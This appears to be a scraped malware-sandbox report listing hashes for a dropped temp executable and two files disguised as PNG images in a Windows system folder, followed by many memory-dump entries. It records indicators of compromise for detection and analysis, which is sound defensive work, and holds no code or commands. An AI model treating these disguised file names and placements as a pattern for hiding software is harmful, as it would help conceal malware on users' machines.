\Users\Admin\AppData\Local\Temp\9859.exe

MD5
63151e4f7c3972f18a23c0e9996e14ef

SHA1
5d041fde6433a8ff8fc78a69fca1fd4630e3f270

SHA256
cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

SHA512
f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Download Submit
\Users\Admin\AppData\Local\Temp\9859.exe

MD5
63151e4f7c3972f18a23c0e9996e14ef

SHA1
5d041fde6433a8ff8fc78a69fca1fd4630e3f270

SHA256
cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

SHA512
f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Download Submit
\Windows\Branding\mediasrv.png

MD5
ac13d804585a74dc542db4ec94da39df

SHA1
8642ae2e04e492700caf41b43de9ef9d8b3c26f9

SHA256
84c41dc018689fcb2fc4240f1e0267a5ee82232e3bcd541f5f5bed4139cfcd55

SHA512
0ba869487fda38d398903df4235bd8f2d0f8fb774b559125ba278751a5a503adbb0557f9ea2fde5fecba4f1a33b71583be36fac0f6f8842cbee0bdd7ea2fb5bf

Download Submit
\Windows\Branding\mediasvc.png

MD5
9151c95451abb048a44f98d0afac8264

SHA1
22f447b210eb25c11be5a9c31f254f5f2bd50a78

SHA256
8082bfe8a9f63854d6317cf6ddc0c18c54140ee5d179a96bfe9900c90d994518

SHA512
728b140e68dcb6751cccb4d1046ac61f63e8db13d4f613b44e161d457f107acc11b3275167c7b4dff34a6d5966116ecb062f94713d0cf4f35b327d14ec7cbd13

Download Submit
memory/108-121-0x0000000000000000-mapping.dmp

Download
memory/392-154-0x0000000000000000-mapping.dmp

Download
memory/572-139-0x0000000000000000-mapping.dmp

Download
memory/612-54-0x000000000082B000-0x000000000083C000-memory.dmp

Filesize
68KB

Download
memory/612-55-0x0000000075651000-0x0000000075653000-memory.dmp

Filesize
8KB

Download
memory/612-56-0x0000000000220000-0x0000000000229000-memory.dmp

Filesize
36KB

Download
memory/612-57-0x0000000000400000-0x0000000000788000-memory.dmp

Filesize
3.5MB

Download
memory/708-123-0x0000000000000000-mapping.dmp

Download
memory/748-146-0x0000000000000000-mapping.dmp

Download
memory/796-149-0x0000000000000000-mapping.dmp

Download
memory/796-131-0x0000000000000000-mapping.dmp

Download
memory/816-150-0x0000000000000000-mapping.dmp

Download
memory/888-130-0x0000000000000000-mapping.dmp

Download
memory/920-155-0x0000000000000000-mapping.dmp

Download
memory/976-167-0x0000000000000000-mapping.dmp

Download
memory/1028-134-0x0000000000000000-mapping.dmp

Download
memory/1056-133-0x0000000000000000-mapping.dmp

Download
memory/1100-66-0x0000000041224000-0x0000000041226000-memory.dmp

Filesize
8KB

Download
memory/1100-61-0x0000000000000000-mapping.dmp

Download
memory/1100-63-0x00000000416A0000-0x0000000041A9F000-memory.dmp

Filesize
4.0MB

Download
memory/1100-65-0x0000000041222000-0x0000000041224000-memory.dmp

Filesize
8KB

Download
memory/1100-68-0x0000000041227000-0x0000000041228000-memory.dmp

Filesize
4KB

Download
memory/1100-67-0x0000000041226000-0x0000000041227000-memory.dmp

Filesize
4KB

Download
memory/1112-124-0x0000000000000000-mapping.dmp

Download
memory/1144-128-0x0000000000000000-mapping.dmp

Download
memory/1212-58-0x0000000002940000-0x0000000002956000-memory.dmp

Filesize
88KB

Download
memory/1224-127-0x0000000000000000-mapping.dmp

Download
memory/1240-86-0x00000000008B0000-0x00000000008B2000-memory.dmp

Filesize
8KB

Download
memory/1240-77-0x0000000000000000-mapping.dmp

Download
memory/1320-143-0x0000000000000000-mapping.dmp

Download
memory/1340-140-0x0000000000000000-mapping.dmp

Download
memory/1384-126-0x0000000000000000-mapping.dmp

Download
memory/1408-97-0x0000000002794000-0x0000000002797000-memory.dmp

Filesize
12KB

Download
memory/1408-93-0x0000000002790000-0x0000000002792000-memory.dmp

Filesize
8KB

Download
memory/1408-94-0x000000001B9A0000-0x000000001BC9F000-memory.dmp

Filesize
3.0MB

Download
memory/1408-98-0x0000000002797000-0x0000000002798000-memory.dmp

Filesize
4KB

Download
memory/1408-89-0x0000000000000000-mapping.dmp

Download
memory/1408-92-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

Filesize
11.4MB

Download
memory/1408-96-0x000000000279C000-0x00000000027BB000-memory.dmp

Filesize
124KB

Download
memory/1408-95-0x0000000002792000-0x0000000002794000-memory.dmp

Filesize
8KB

Download
memory/1416-166-0x0000000000000000-mapping.dmp

Download
memory/1456-138-0x0000000000000000-mapping.dmp

Download
memory/1488-148-0x0000000000000000-mapping.dmp

Download
memory/1516-105-0x00000000028A2000-0x00000000028A4000-memory.dmp

Filesize
8KB

Download
memory/1516-104-0x00000000028A0000-0x00000000028A2000-memory.dmp

Filesize
8KB

Download
memory/1516-103-0x000000001B7E0000-0x000000001BADF000-memory.dmp

Filesize
3.0MB

Download
memory/1516-108-0x00000000028AC000-0x00000000028CB000-memory.dmp

Filesize
124KB

Download
memory/1516-102-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

Filesize
11.4MB

Download
memory/1516-99-0x0000000000000000-mapping.dmp

Download
memory/1516-107-0x00000000028A7000-0x00000000028A8000-memory.dmp

Filesize
4KB

Download
memory/1516-106-0x00000000028A4000-0x00000000028A7000-memory.dmp

Filesize
12KB

Download
memory/1520-137-0x0000000000000000-mapping.dmp

Download
memory/1584-115-0x0000000002652000-0x0000000002654000-memory.dmp

Filesize
8KB

Download
memory/1584-109-0x0000000000000000-mapping.dmp

Download
memory/1584-113-0x0000000002650000-0x0000000002652000-memory.dmp

Filesize
8KB

Download
memory/1584-112-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

Filesize
11.4MB

Download
memory/1584-117-0x0000000002654000-0x0000000002657000-memory.dmp

Filesize
12KB

Download
memory/1584-118-0x000000000265C000-0x000000000267B000-memory.dmp

Filesize
124KB

Download
memory/1584-114-0x0000000002657000-0x0000000002658000-memory.dmp

Filesize
4KB

Download
memory/1584-116-0x000000001B8A0000-0x000000001BB9F000-memory.dmp

Filesize
3.0MB

Download
memory/1608-147-0x0000000000000000-mapping.dmp

Download
memory/1608-129-0x0000000000000000-mapping.dmp

Download
memory/1616-136-0x0000000000000000-mapping.dmp

Download
memory/1620-135-0x0000000000000000-mapping.dmp

Download
memory/1620-156-0x0000000000000000-mapping.dmp

Download
memory/1644-152-0x0000000000000000-mapping.dmp

Download
memory/1644-157-0x0000000000000000-mapping.dmp

Download
memory/1692-125-0x0000000000000000-mapping.dmp

Download
memory/1708-119-0x0000000000000000-mapping.dmp

Download
memory/1728-153-0x0000000000000000-mapping.dmp

Download
memory/1740-122-0x0000000000000000-mapping.dmp

Download
memory/1740-144-0x0000000000000000-mapping.dmp

Download
memory/1764-145-0x0000000000000000-mapping.dmp

Download
memory/1780-151-0x0000000000000000-mapping.dmp

Download
memory/1800-132-0x0000000000000000-mapping.dmp

Download
memory/1816-72-0x000000001B700000-0x000000001B9FF000-memory.dmp

Filesize
3.0MB

Download
memory/1816-70-0x000007FEFC271000-0x000007FEFC273000-memory.dmp

Filesize
8KB

Download
memory/1816-75-0x0000000002754000-0x0000000002757000-memory.dmp

Filesize
12KB

Download
memory/1816-73-0x0000000002750000-0x0000000002752000-memory.dmp

Filesize
8KB

Download
memory/1816-71-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

Filesize
11.4MB

Download
memory/1816-85-0x000000000275B000-0x000000000277A000-memory.dmp

Filesize
124KB

Download
memory/1816-74-0x0000000002752000-0x0000000002754000-memory.dmp

Filesize
8KB

Download
memory/1816-69-0x0000000000000000-mapping.dmp

Download
memory/1816-88-0x000000000277D000-0x000000000277E000-memory.dmp

Filesize
4KB

Download
memory/1948-80-0x0000000000000000-mapping.dmp

Download
memory/2020-158-0x0000000000000000-mapping.dmp

Download
memory/2020-163-0x0000000000FE4000-0x0000000000FE7000-memory.dmp

Filesize
12KB

Download
memory/2020-164-0x0000000000FEB000-0x000000000100A000-memory.dmp

Filesize
124KB

Download
memory/2020-161-0x0000000000FE0000-0x0000000000FE2000-memory.dmp

Filesize
8KB

Download
memory/2020-162-0x0000000000FE2000-0x0000000000FE4000-memory.dmp

Filesize
8KB

Download
memory/2020-160-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

Filesize
11.4MB

Download